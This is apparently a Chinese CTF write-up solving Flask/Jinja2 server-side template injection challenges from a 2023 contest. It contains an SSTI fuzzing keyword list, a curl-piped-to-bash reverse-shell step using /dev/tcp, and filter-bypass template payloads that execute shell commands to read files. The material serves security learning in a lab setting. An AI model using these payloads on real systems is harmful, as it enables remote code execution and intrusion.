CTF题型 SSTI(2) Flask-SSTI典型题巩固
文章目录
- [CTF题型 SSTI(2) Flask-SSTI典型题巩固](#CTF题型 SSTI(2) Flask-SSTI典型题巩固)
-
- 前记
- 1.klf__ssti
- 2.klf_2
-
- [数字问题如何解决了?|count |length都被禁?](#数字问题如何解决了?|count |length都被禁?)
- 3.klf_3
前记
从基础到自己构造payload
请参考 https://blog.csdn.net/qq_39947980/article/details/136692512?spm=1001.2014.3001.5501
上次用的极简payload {``{lipsum.__globals__['os'].popen('ls').read()}}
这里接着沿用
这里题记 payload构造原理可能不是很细
复现环境:2023 极客大挑战 klf系列 https://github.com/SycloverTeam/GeekChallenge2023/tree/main/Web 题目flag没有内容自己加内容测试
1.klf__ssti
Ctrl-U查看源码 发现html注释
<html>
<body>
<h1>给女神表白,被拒绝了,女神骂我klf,呜呜呜</h1>
<h1>klf是什么意思啊,呜呜呜女神肯定不会骂我的,klf是keep in Love嘛</h1>
<h1>肯定是这样的呜呜呜,女神肯定不会骂我的</h1>
</body>
<img src="https://image-obsidian-1317327960.cos.ap-chengdu.myqcloud.com/obisidian-blog/klf_ku..jpg" alt="g">
<!-- 我好像藏了东西你找得到嘛klf-->
<!--/hack?-->
</html>
访问/hack?
提示关键字 klf
对应黑盒测试 我们一般 fuzz 一下字符
SSTI_Fuzz字典(网上收集+自己补充)
request
args
cookies
values
class
base
mro
subclasses
init
globals
builtins
os
import
popen
read
type
getitem
get
pop
session
config
url_for
set
lipsum
string
list
dict
join
count
index
request
args
values
cookies
format
for
is
end
name
lower
get_flashed_messages
chr
app
current_app
self
system
getattr
bytes
decode
doc
eval
exec
loader
ord
length
load_module
linecache
int
upper
reverse
replace
(
)
()
{{
}}
{%
%}
\x
\u
{%%}
{{}}
_
\
|
/
'
"
[
]
*
~
:
-
.
*
0
1
2
3
4
5
6
7
8
9
31
51
101
发送到 burl 爆破模块
发现 除了解析失败 其他页面相同
可能是盲注 {``{lipsum.__globals__['os'].popen('curl zdlvueztts.dgrh3.cn').read()}}
尝试判读出网不 发现出网 无回显
那我们直接反弹shell
测试后发现 环境可能只有curl 可以出网 (有点奇怪)
我们在自己vps web服务上 放置 一个文件 建议不加后缀名 bash -i >& /dev/tcp/ip/port 0>&1
执行 curl ip/文件名 | bash
反弹回来
{``{lipsum.__globals__['os'].popen('curl ip/file | bash').read()}}
弹回来找flag
2.klf_2
提示发现我的secret
访问/robots.txt
发现ssti 注入点
burp fuzz一下
发现禁了一些关键词 包括 count 数字大于 40 都被禁
一些符号 '' "" \ _ [ ]
尝试lipsum有没有被禁
自己把我们上篇文章的payload修改一下
请参考 https://blog.csdn.net/qq_39947980/article/details/136692512?spm=1001.2014.3001.5501
{%set numa=dict(aaaaaaaaaaaaaaaaaaaaaaaa=b)|join|count%}
{%set p=dict(po=a,p=a)|join%}
{%set xhx=()|select|string|list|attr(p)(numa)%}
{%set a=(xhx,xhx,dict(glo=a,bals=a)|join,xhx,xhx)|join%}
{%set b=dict(o=a,s=a)|join%}
{%set c=dict(po=a,pen=a)|join%}
{%set d=dict(re=a,ad=a)|join%}
{%set e=(xhx,xhx,dict(ge=a,titem=a)|join,xhx,xhx)|join%}
{%set f=(xhx,xhx,dict(buil=a,tins=a)|join,xhx,xhx)|join%}
{%set ch=dict(ch=a,r=a)|join%}
{%set chh=lipsum|attr(a)|attr(e)(f)|attr(e)(ch)%}
{%set numb=dict(aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa=a)|join|count%}
{%set numc=dict(aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa=a)|join|count%}
{%set cmd=(dict(ca=a,t=a)|join,chh(numb),chh(numc),dict(ap=a,p=a)|join,chh(numc),dict(fl=a,ag=a)|join)|join%}
{{lipsum|attr(a)|attr(e)(b)|attr(c)(cmd)|attr(d)()}}
我们修改一下cmd命令即可 执行ls /app
被禁{%set numa=dict(aaaaaaaaaaaaaaaaaaaaaaaa=b)|join|count%}
{%set p=dict(po=a,p=a)|join%}
{%set xhx=()|select|string|list|attr(p)(numa)%}
{%set a=(xhx,xhx,dict(glo=a,bals=a)|join,xhx,xhx)|join%}
{%set b=dict(o=a,s=a)|join%}
{%set c=dict(po=a,pen=a)|join%}
{%set d=dict(re=a,ad=a)|join%}
{%set e=(xhx,xhx,dict(ge=a,titem=a)|join,xhx,xhx)|join%}
{%set f=(xhx,xhx,dict(buil=a,tins=a)|join,xhx,xhx)|join%}
{%set ch=dict(ch=a,r=a)|join%}
{%set chh=lipsum|attr(a)|attr(e)(f)|attr(e)(ch)%}
被禁{%set numb=dict(aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa=a)|join|count%}
被禁{%set numc=dict(aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa=a)|join|count%}
{%set cmd=(dict(l=a,s=a)|join,chh(numb),chh(numc),dict(ap=a,p=a)|join)|join%}
{{lipsum|attr(a)|attr(e)(b)|attr(c)(cmd)|attr(d)()}}
数字问题如何解决了?|count |length都被禁?
因为 0-9没有被禁 可以用 全角字符半替代
为什么是半替代 因为 全部用全角字符 服务器无法识别
附 半角数字转全角 脚本
python
def half2full(half):
full = ''
for ch in half:
if ord(ch) in range(33, 127):
ch = chr(ord(ch) + 0xfee0)
elif ord(ch) == 32:
ch = chr(0x3000)
else:
pass
full += ch
return full
t=''
s="0123456789"
for i in s:
t+='\''+half2full(i)+'\','
print(t)
全角数字'0','1','2','3','4','5','6','7','8','9'
{%set p=dict(po=a,p=a)|join%}
{%set xhx=()|select|string|list|attr(p)(24)%}
{%set a=(xhx,xhx,dict(glo=a,bals=a)|join,xhx,xhx)|join%}
{%set b=dict(o=a,s=a)|join%}
{%set c=dict(po=a,pen=a)|join%}
{%set d=dict(re=a,ad=a)|join%}
{%set e=(xhx,xhx,dict(ge=a,titem=a)|join,xhx,xhx)|join%}
{%set f=(xhx,xhx,dict(buil=a,tins=a)|join,xhx,xhx)|join%}
{%set ch=dict(ch=a,r=a)|join%}
{%set chh=lipsum|attr(a)|attr(e)(f)|attr(e)(ch)%}
{%set cmd=(dict(l=a,s=a)|join,chh(32),chh(47),dict(ap=a,p=a)|join)|join%}
{{lipsum|attr(a)|attr(e)(b)|attr(c)(cmd)|attr(d)()}}
可以看到/app内容
读取 /app/flag内容 cat /app/fl4gfl4gfl4g
{%set p=dict(po=a,p=a)|join%}
{%set xhx=()|select|string|list|attr(p)(24)%}
{%set a=(xhx,xhx,dict(glo=a,bals=a)|join,xhx,xhx)|join%}
{%set b=dict(o=a,s=a)|join%}
{%set c=dict(po=a,pen=a)|join%}
{%set d=dict(re=a,ad=a)|join%}
{%set e=(xhx,xhx,dict(ge=a,titem=a)|join,xhx,xhx)|join%}
{%set f=(xhx,xhx,dict(buil=a,tins=a)|join,xhx,xhx)|join%}
{%set ch=dict(ch=a,r=a)|join%}
{%set chh=lipsum|attr(a)|attr(e)(f)|attr(e)(ch)%}
{%set cmd=(dict(ca=a,t=a)|join,chh(32),chh(47),dict(ap=a,p=a)|join,chh(47),dict(fl4gfl4gfl4g=a)|join)|join%}
{{lipsum|attr(a)|attr(e)(b)|attr(c)(cmd)|attr(d)()}}
可以拿到flag
3.klf_3
和klf_2一样的操作
直接拿klf_2的payload来用
读取 /app/flag内容 cat /app/fl4gfl4gfl4g
{%set p=dict(po=a,p=a)|join%}
{%set xhx=()|select|string|list|attr(p)(24)%}
{%set a=(xhx,xhx,dict(glo=a,bals=a)|join,xhx,xhx)|join%}
{%set b=dict(o=a,s=a)|join%}
{%set c=dict(po=a,pen=a)|join%}
{%set d=dict(re=a,ad=a)|join%}
{%set e=(xhx,xhx,dict(ge=a,titem=a)|join,xhx,xhx)|join%}
{%set f=(xhx,xhx,dict(buil=a,tins=a)|join,xhx,xhx)|join%}
{%set ch=dict(ch=a,r=a)|join%}
{%set chh=lipsum|attr(a)|attr(e)(f)|attr(e)(ch)%}
{%set cmd=(dict(ca=a,t=a)|join,chh(32),chh(47),dict(ap=a,p=a)|join,chh(47),dict(fl4gfl4gfl4g=a)|join)|join%}
{{lipsum|attr(a)|attr(e)(b)|attr(c)(cmd)|attr(d)()}}
SSTI学习可以告一段落啦